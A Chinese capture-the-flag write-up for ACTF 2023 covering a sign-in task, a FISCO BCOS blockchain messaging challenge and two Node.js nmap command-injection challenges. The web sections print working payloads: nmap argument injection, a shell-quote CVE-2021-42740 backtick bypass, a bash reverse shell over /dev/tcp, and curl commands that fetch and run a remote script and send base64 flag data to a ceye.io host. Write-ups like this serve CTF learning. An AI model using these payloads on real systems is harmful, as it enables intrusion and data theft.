ACTF2023 WriteUp by shenghuo2

好难的ACTF

警告
本文最后更新于 2023-10-31,文中内容可能已过时。
Intro

出题人有没有听见misc手的悲鸣?

你有没有感受到CTFer在分崩离析?

你是否想过misc不再是misc,CTF不再是CTF?

misc

SIGNIN: 东方原神大学

1944 年,英国剑桥大学著名生物化学家李约瑟来到浙江大学,并盛赞浙江大学是“东方剑桥”,浙大也通过矢志不渝的发展和进步,证明了自己的含金量。

2020 年,开放冒险游戏原神横空出世,世界各地的游戏玩家都被这个具有宏大世界观并蕴含丰富中华传统文化的佳作所吸引,就连 AAA 战队的指导老师 BlackWhite 都赞其颇有塞尔达之神韵。

在接下来的几年间,各大高校间兴起了一阵原神大学之风,中国石油大学轻添寥寥数笔,便将自己的校名改为了中国原神大学,而哈尔滨工业大学也接下了建设提瓦特工业大学的光荣使命,众多学校也进入了原神大学称号的抢夺战之中。然而,作为全国排名第三的大学,浙江大学还没有自己的原神大学称号。这时浙江大学 AAA 的队员们想起了李约瑟对浙大“东方剑桥”的盛赞,恍然大悟,浙江大学不就是东方原神大学吗!

所以,欢迎来到东方提瓦特大陆

1
curl http://www.东方原神大学.com/

image-20231028205627227

1
ACTF{w2Lc0Me_2_@ctF2o23#azUr3_A$$asS1N_alIiaNc3}

AMOP 1

FISCO BCOS is a blockchain that allows you to pass messages.

Access 120.46.58.72:30201 for the channel endpoint.

README

The flag consists of two parts.

  • The first part is broadcasted by AMOP publically with the title flag1.
  • The second part is broadcasted by AMOP privately with the title flag2.
    • while the subscriber’s privkey is attached

BTW,

  1. The sdk folder provides you with necessary files to interact with the node.
  2. The fisco-bcos version is 2.9.1.
  3. The remote broadcast message uses java-sdk-demo main-2.0

根据题目描述,去build一份jar(这里要注意题目用的是main-2.0)

1
2
3
4
git clone https://github.com/FISCO-BCOS/java-sdk-demo
cd java-sdk-demo
git checkout main-2.0
bash gradlew build

然后按照https://github.com/FISCO-BCOS/java-sdk-demo/blob/main-2.0/docs/README_CN.md

配置一下证书

然后根据官方文档去连接TOPIC就行

https://fisco-bcos-documentation.readthedocs.io/zh-cn/latest/docs/sdk/java_sdk/amop.html

1
2
3
❯  java -cp "apps/*:lib/*:conf/" org.fisco.bcos.sdk.demo.amop.tool.AmopSubscriber flag1
Start test
Step 2:Receive msg, time: 2023-10-28 09:30:29topic:flag1 content:ACTF{Con5oR7ium_B1ock_

获得Public的flag1

不过Private的flag2不能用AmopSubscriberPrivate 方法获取,因为这个方法要用PEM或者p12的private key

而题目给的privkey

1
2665bf1dcd6ec3c77f769d1299c2a2ffe616964a81b634c932914ce92d4c2dd7

经过查阅源码,找到了AmopSubscriberPrivateByKey方法

Usage:

1
2
3
java -cp 'conf/:lib/*:apps/*' org.fisco.bcos.sdk.demo.amop.tool.AmopSubscriberPrivateByKey generateKeyFile keyFileName
java -cp 'conf/:lib/*:apps/*' org.fisco.bcos.sdk.demo.amop.tool.AmopSubscriberPrivateByKey subscribe topicName privateKeyFile
java -cp 'conf/:lib/*:apps/*' org.fisco.bcos.sdk.demo.amop.tool.AmopSubscriberPrivateByKey publish [topicName] [isBroadcast: true/false] [sendedContent] [count] [publicKeyFile1] [publicKeyFile2] ...

使用这个方法获得flag2

1
2
3
❯ java -cp "apps/*:lib/*:conf/" org.fisco.bcos.sdk.demo.amop.tool.AmopSubscriberPrivateByKey subscribe flag2 privkey
Start test
Step 2:Receive msg, time: 2023-10-28 13:26:09topic:flag2 content:cHAiN_sO_INterESt1NG}
1
ACTF{Con5oR7ium_B1ock_cHAiN_sO_INterESt1NG}

web

MyGO’s Live!!!!!

Chosen websites for new-type fans of the band MyGO!!!!! . The newest and the hottest (最新最热)! 「 迷子でもいい、前へ進め───。」 Link: http://124.70.33.170:24000/ Author: yyy Auto restarting: every 10 mins.

nodejs题 审一下源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
app.get('/checker', (req, res) => {
  let url = req.query.url;
  
  if (url) {
    if (url.length > 60) {
      res.send("我喜欢你");
      return;
    }
    url = [...url].map(escaped).join("");
    console.log(url);

    let host;
    let port;
    if (url.includes(":")) {
      const parts = url.split(":");
      host = parts[0];
      port = parts.slice(1).join(":");
    } else {
      host = url;
    }
    let command = "";
    // console.log(host);
    // console.log(port);

    if (port) {
      if (isNaN(parseInt(port))) {
        res.send("我喜欢你");
        return;
      }
      command = ["nmap", "-p", port, host].join(" "); // Construct the shell command
    } else {
      command = ["nmap", "-p", "80", host].join(" ");
    }

    var fdout = fs.openSync('stdout.log', 'a');
    var fderr = fs.openSync('stderr.log', 'a');
    nmap = spawn("bash", ["-c", command], {stdio: [0,fdout,fderr] } );

    nmap.on('exit', function (code) {
      console.log('child process exited with code ' + code.toString());
      if (code !== 0) {
        let data = fs.readFileSync('stderr.log');
        console.error(`Error executing command: ${data}`);
        res.send(`Error executing command!!! ${data}`);
      } else {
        let data = fs.readFileSync('stdout.log');
        console.error(`Ok: ${data}`);
        res.send(`${data}`);
      }
    });
  }

关键的命令部分

路由是checker

1
/checker?url=-iL%09/flag-????????????????

-iL读一下文件,然后再构造一个能报错的命令

去触发

1
 fs.readFileSync('stderr.log');

比如

1
/checker?url=-iL

得到flag

1
2
3
4
5
WARNING: No targets were specified, so 0 hosts scanned.
Failed to resolve "ACTF{s1nc3_I_c4N_d0_anyThin9_1f_I_c4n}".
WARNING: No targets were specified, so 0 hosts scanned.
nmap: option requires an argument -- 'i'
See the output of nmap -h for a summary of options.

Ave Mujica’s Masquerade

NOTE: Recommend to have a look at “MyGO’s Live!!!!!” first. You are a ghost, I am a ghost. Revue Starlight or The Phantom of the Opera. Enhancement: no echoes, internal network. 「お幸せに」 Link: http://124.70.33.170:24001/ Author: yyy Auto restarting: every 10 mins. NOTE: Not a revenge but a totally different challenge :)

由于XCTF都是公共靶机

有的队在往index.html写flag的时候,就被别的队看到flag了

属于是蹭车了 不过没交flag

再来看源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
app.get('/checker', (req, res) => {
  let url = req.query.url;

  if (url) {

    let host;
    let port;

    // MakE it Safer!!!!! 
    if (url.includes(":")) {
      const parts = url.split(":");
      host = parts[0];
      port = parts.slice(1).join(":");
    } else {
      host = url;
    }
    if (port) {
      command = shellQuote.quote(["nmap", "-p", port, host]); // Construct the shell command
    } else {
      command = shellQuote.quote(["nmap", "-p", "80", host]);
    }
    nmap = spawn("bash", ["-c", command]);
    console.log(command);
    
    nmap.on('exit', function (code) {
      console.log('child process exited with code ' + code.toString());
      if (code !== 0) {
        res.send(`Error executing command!!!`);
      } else {
        res.send(`Ok...`);
      }
    });

  } else {
    res.send('No parameter provided.');
  }
});

这次得不到任何有用的回显了,只能外带

或者 覆盖到/app/public/index.html

看题目描述里的internal network 我还以为不能出网,后来发现可以反弹shell

关于引用的 shell-quote

查看package.json可以知道

1
"shell-quote": "1.7.2"

查询可知1.7.2有 CVE-2021-42740

https://wh0.github.io/2021/10/28/shell-quote-rce-exploiting.html

在1.7.2及以前版本,quote的逻辑是对非[A-z]:的字符进行处理,

这样就给:留下了机会

利用的是`的内敛执行,以及英文冒号不被过滤

比如

1
`:`whoami``:`

看上去还有,另一个问题

在nmap命令执行的时候,-p后面参数不对就会停止运行

image-20231031130742272

但是内敛执行是先执行内部的命令,所以这个无关紧要

再来看Dockerfile

1
RUN apt install -y nmap python3-pip python3 wget curl

在build镜像的时候就安装了curl和wget,那肯定是题目所需

这里写了两个思路,对于有vps和无vps的

反弹shell

准备个bash反弹shell

1
bash -i >& /dev/tcp/ip/端口 0>&1

然后

1
curl blog.shenghuo2.top/shell.html -o /tmp/shenghuo2.sh

用$IFS代替空格

exp

1
/checker?url=127.0.0.1:`:`curl$IFS\blog.shenghuo2.top/shell.html$IFS-o$IFS/tmp/shenghuo2.sh``:`

再反弹shell

1
/checker?url=127.0.0.1:`:`curl$IFS\blog.shenghuo2.top/shell.html$IFS-o$IFS/tmp/shenghuo2.sh``:`

image-20231031131546325

curl外带

准备一个ceye的地址,接受http记录

1
curl http://uoi23u.ceye.io/`cat /flag-*|base64`

然后还是用那个方法传,执行

1
/checker?url=127.0.0.1:`:`curl$IFS\blog.shenghuo2.top/shell2.html$IFS-o$IFS/tmp/shenghuo2.sh``:`
1
/checker?url=127.0.0.1:`:`bash$IFS/tmp/shenghuo2.sh``:`

image-20231031133331094

image-20231031133354496

0%